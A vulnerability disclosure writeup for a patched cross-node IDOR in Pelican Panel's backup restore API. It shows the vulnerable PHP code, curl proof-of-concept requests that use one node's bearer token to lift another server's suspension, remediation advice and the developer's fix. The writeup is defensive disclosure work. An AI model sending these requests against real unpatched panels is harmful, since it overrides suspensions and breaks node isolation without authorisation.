June 11, 2026

Cross-Node Backup Restore IDOR with Server Suspension Bypass in Pelican Panel

Share
Cross-Node Backup Restore IDOR with Server Suspension Bypass in Pelican Panel

What is Pelican?

Pelican-dev is a free, open-source game server management and control panel. Built as a modern, community-driven successor to Pterodactyl, it allows you to create, manage, and share game servers through a sleek, web-based interface.

Disclosure timeline:

  • Found: 04-Apr-2026
  • Reported: 04-Apr-2026
  • Versions affected: <=v1.0.0-beta33
  • Patched: 09-Apr-2026 (v1.0.0-beta34, PR #2293)
  • Public writeup: 11-Jun-2026

No formal security advisory was published at the developer’s discretion. Since the patch is public, this writeup serves as the public record of the vulnerability.


Description

Pelican Panel’s remote API endpoint for backup restoration (POST /api/remote/backups/{uuid}/restore) is missing a node ownership validation check. This endpoint is part of the daemon-facing API, authenticated via Wings node bearer tokens.

The restore() method in BackupStatusController.php accepts any valid backup UUID and sets the associated server’s status field to null without verifying that the requesting node owns the server. A compromised or malicious Wings daemon (Node A) can send a restore request with a backup UUID belonging to a server on a different node (Node B), manipulating that server’s state without authorization.

The status field controls server state including suspended. Setting it to null clears any active state, effectively bypassing server suspensions. A compromised node can unsuspend servers across the entire panel infrastructure that were suspended for abuse, non-payment, or TOS violations.

This is the same vulnerability class as the previously reported GHSA-v97c-v3vw-p5ff. The index() method on the same controller was patched with a node ownership check, but the restore() method was not, making this an incomplete fix.


Enough talking, let’s get to work

alt

Vulnerable Code

File: app/Http/Controllers/Api/Remote/Backups/BackupStatusController.php

The restore() method (line 95) does not validate node ownership:

public function restore(Request $request, string $backup): JsonResponse
{
    $model = Backup::query()->where('uuid', $backup)->firstOrFail();
    $model->server->update(['status' => null]);
    // ...
}

Compare with the index() method (line 34) on the same controller, which correctly validates ownership:

public function index(ReportBackupCompleteRequest $request, string $backup): JsonResponse
{
    $node = $request->attributes->get('node');
    $model = Backup::query()->where('uuid', $backup)->firstOrFail();
    $server = $model->server;

    if ($server->node_id !== $node->id) {
        throw new HttpForbiddenException('You do not have permission to access that backup.');
    }
    // ...
}

Route definition in routes/api-remote.php:

Route::prefix('/backups')->group(function () {
    Route::post('/{backup:uuid}', [BackupStatusController::class, 'index']);         // PATCHED
    Route::post('/{backup:uuid}/restore', [BackupStatusController::class, 'restore']); // NOT PATCHED
});

The server status field is defined in app/Enums/ServerState.php:

enum ServerState: string
{
    case Installing = 'installing';
    case InstallFailed = 'install_failed';
    case ReinstallFailed = 'reinstall_failed';
    case Suspended = 'suspended';
    case RestoringBackup = 'restoring_backup';
}

Setting status to null clears any of these states, including suspended.

Proof of Concept

Environment: Two Wings nodes connected to one panel instance.

  • Node 1 (port 4040)
  • Node 2 (port 4041)
  • Server “TestNode2Server” on Node 2, with one backup (UUID: 47188bea-fb9f-490d-87e7-cacfe0d4cf12)

Step 1 - Suspend the target server:

Suspend the server on Node 2 via Admin > Servers > Suspend. The server shows status “Suspended” (yellow badge).

alt

Step 2 - Send restore request using Node 1’s token:

curl -v -X POST http://panel.local:9090/api/remote/backups/47188bea-fb9f-490d-87e7-cacfe0d4cf12/restore \
  -H "Authorization: Bearer 8rlZzlCibNORvbpa.EJMuE3HnXdaDztggiur3DmV2aBlj1Ba00RFgOs4P2lX82tf8baYqaJWinVSPYvg5" \
  -H "Content-Type: application/json" \
  -d '{"successful": true}'

Result: HTTP 204 - the request succeeds despite Node 1 having no authority over Node 2’s server.

alt

Step 3 - Verify suspension bypass:

Refresh the admin panel. The server status has changed from “Suspended” (yellow badge) to “Offline” (red badge). The suspension has been cleared.

alt

Step 4 - Control test on patched endpoint:

curl -v -X POST http://panel.local:9090/api/remote/backups/47188bea-fb9f-490d-87e7-cacfe0d4cf12 \
  -H "Authorization: Bearer 8rlZzlCibNORvbpa.EJMuE3HnXdaDztggiur3DmV2aBlj1Ba00RFgOs4P2lX82tf8baYqaJWinVSPYvg5" \
  -H "Content-Type: application/json" \
  -d '{"successful": true, "checksum_type","checksum":"x","size":1}'

Result: HTTP 302 (redirect/forbidden) - the index() endpoint correctly rejects the cross-node request, confirming the asymmetry between the two endpoints.

alt

Impact

  • Suspension bypass: A compromised node can unsuspend any server in the panel regardless of which node it belongs to. Servers suspended for abuse, non-payment, or TOS violations are reactivated without authorization
  • Cross-node state manipulation: Any authenticated Wings daemon can modify the state of servers on other nodes, breaking the node isolation model
  • Incomplete security fix: This is the same vulnerability pattern as GHSA-v97c-v3vw-p5ff. The index() endpoint was patched but restore() was not, indicating the fix was incomplete
  • Multi-tenant risk: In hosting environments where different customers manage different nodes, a malicious node operator can manipulate servers across the entire infrastructure

Remediation

1. Add Node Ownership Check to restore()

Apply the same validation that already exists in the index() method on the same controller:

public function restore(Request $request, string $backup): JsonResponse
{
    $node = $request->attributes->get('node');
    $model = Backup::query()->where('uuid', $backup)->firstOrFail();

    if ($model->server->node_id !== $node->id) {
        throw new HttpForbiddenException('You do not have permission to access that backup.');
    }

    $model->server->update(['status' => null]);
    // ...
}

2. Audit All Daemon-Facing Endpoints

Review every route in routes/api-remote.php that accepts a resource identifier (server UUID, backup UUID) and verify that each one validates the requesting node’s ownership of that resource. The same missing check may exist on other endpoints.

3. Implement Middleware-Level Node Ownership Enforcement

Rather than relying on each controller method to individually check ownership, create a middleware that automatically validates node ownership for any daemon route that references a server or backup resource, preventing future omissions.

Message from the Developer

This was fixed in #2293 (commit 1817383), which shipped in v1.0.0-beta34.

The node-ownership check is now present on restore() in BackupStatusController.php:

public function restore(Request $request, string $backup): JsonResponse
{
    $model = Backup::query()->where('uuid', $backup)->firstOrFail();

    $node = $request->attributes->get('node');
    if (!$model->server->node->is($node)) {
        throw new HttpForbiddenException('Requesting node does not have permission to access this server.');
    }

    // ...

Functionally equivalent to the suggested node_id comparison — Model::is() checks the same key and table.

References